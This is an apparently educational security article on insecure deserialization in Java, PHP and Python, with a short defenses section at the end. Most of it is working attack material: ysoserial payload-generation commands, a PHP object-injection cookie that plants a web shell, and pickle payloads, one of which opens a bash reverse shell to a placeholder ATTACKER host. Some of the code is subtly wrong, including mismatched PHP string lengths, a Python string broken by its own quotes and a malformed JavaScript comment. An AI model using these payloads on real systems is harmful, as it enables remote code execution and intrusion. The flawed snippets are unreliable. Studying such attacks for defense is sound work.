Research / Небезпечна десеріалізація: Java, PHP, Python
RESEARCH
UA EN

Insecure Deserialization: Java, PHP, Python

✍ admin 📅 26.05.2026 👁 119

What Is Deserialization

Serialization — converting an in-memory object to a format that can be stored or transmitted over a network (bytes, JSON, XML).

Deserialization — the reverse process: restoring an object from serialized data.

The problem: if an application deserializes user-supplied data, an attacker can send a malicious object and force the application to execute arbitrary code.


Java: ysoserial and Gadget Chains

Mechanism

Java has a built-in serialization mechanism (java.io.Serializable). During deserialization, readObject() methods are called. If the classpath contains libraries with dangerous "gadget chains" — arbitrary code executes.

Java serialization magic bytes: AC ED 00 05 (or rO0AB in base64)

Gadget Chains (ysoserial)

# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# List available gadget chains
java -jar ysoserial-all.jar

# Generate payload
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0

# Most common gadget chains:
# CommonsCollections1-7  (Apache Commons Collections)
# Spring1, Spring2       (Spring Framework)
# Hibernate1, Hibernate2
# URLDNS (DNS callback for detection without RCE)

Detection (URLDNS gadget)

# Safe PoC — only a DNS request, no RCE
java -jar ysoserial-all.jar URLDNS 'http://UNIQUE.interact.sh' | base64 -w0
# Send to a field that may deserialize
# If a DNS request arrives — Java object deserialization is present

Where to Look

- Java RMI (port 1099)
- JMX (port 1099/9999)
- HTTP params and cookies with base64 starting with rO0
- XML/AMF/Hessian endpoints
- ViewState in JSF

PHP: Object Injection

Mechanism

PHP serializes objects via serialize(). If a deserialized object has a __destruct(), __wakeup(), or __toString() method — they are called automatically.

// Serialized string
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
// O:4 = Object with a 4-character class name
// :2  = 2 properties

Exploit

// Vulnerable server code
class Logger {
    public $filename;
    public $data;

    public function __destruct() {
        file_put_contents($this->filename, $this->data);
        // Writes to a file when the object is destroyed!
    }
}

// Normal class
class User {
    public $name;
}

// During deserialization:
$data = base64_decode($_COOKIE['user']);
$user = unserialize($data);  // VULNERABLE

// Attack: replace cookie with:
// O:6:"Logger":2:{s:8:"filename";s:15:"/var/www/sh.php";s:4:"data";s:29:"<?php system($_GET['c']); ?>";}
# Generate PHP payload in Python
payload = 'O:6:"Logger":2:{s:8:"filename";s:24:"/var/www/html/shell.php";s:4:"data";s:30:"<?php system($_GET['c']); ?>";}'
import base64
print(base64.b64encode(payload.encode()).decode())

Common PHP Magic Methods

Method When Called
__destruct When the object is destroyed (always after deserialization)
__wakeup Immediately after unserialize()
__toString When converted to a string
__invoke When called as a function
__call When a non-existent method is called

Python: Pickle RCE

Mechanism

Python's pickle module serializes objects. During unpickling, the __reduce__ and __reduce_ex__ methods of the object are called. Via __reduce__, you can specify an arbitrary function to call.

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))

# Serialize
payload = pickle.dumps(Exploit())
print(payload)  # bytes with embedded command

# During deserialization:
pickle.loads(payload)  # executes os.system('id > /tmp/pwned')

CTF Exploit

import pickle, base64, os

class RCE:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
# Insert into the field that pickle.loads() deserializes

Where to Find Pickle

# Commonly in:
# - Cookies: session cookie in Flask without a SecretKey
# - ML services (model in a .pkl file)
# - Task queues (Celery, RQ with Redis)
# - Caching (Redis, Memcached)

YAML/Marshal/MessagePack

# YAML is also dangerous!
import yaml
yaml.load(user_input)             # VULNERABLE
yaml.safe_load(user_input)        # SAFE

# Ruby Marshal
Marshal.load(user_input)          # VULNERABLE

# Node.js serialize-javascript
const serialize = require('node-serialize');
serialize.unserialize(user_input) # VULNERABLE

Defenses

// Java: filter classes during deserialization
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "java.base/*;!*"  // allow only java.base
);
ObjectInputStream ois = new ObjectInputStream(is);
ois.setObjectInputFilter(filter);
// PHP: avoid unserialize() with user data
// If serialization is needed — use JSON
$data = json_decode($_COOKIE['data'], true);  // safe

// PHP 7+: allowed_classes
$obj = unserialize($data, ['allowed_classes' => ['User']]);
# Python: never pickle.loads() user-supplied data
# Use JSON for external data
import json
data = json.loads(user_input)  # safe

# For internal cached data with verification:
import hmac, hashlib
def safe_loads(data, secret):
    payload, sig = data[:-32], data[-32:]
    if hmac.compare_digest(sig, hmac.new(secret, payload, hashlib.sha256).digest()):
        return pickle.loads(payload)
    raise ValueError("Invalid signature")
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?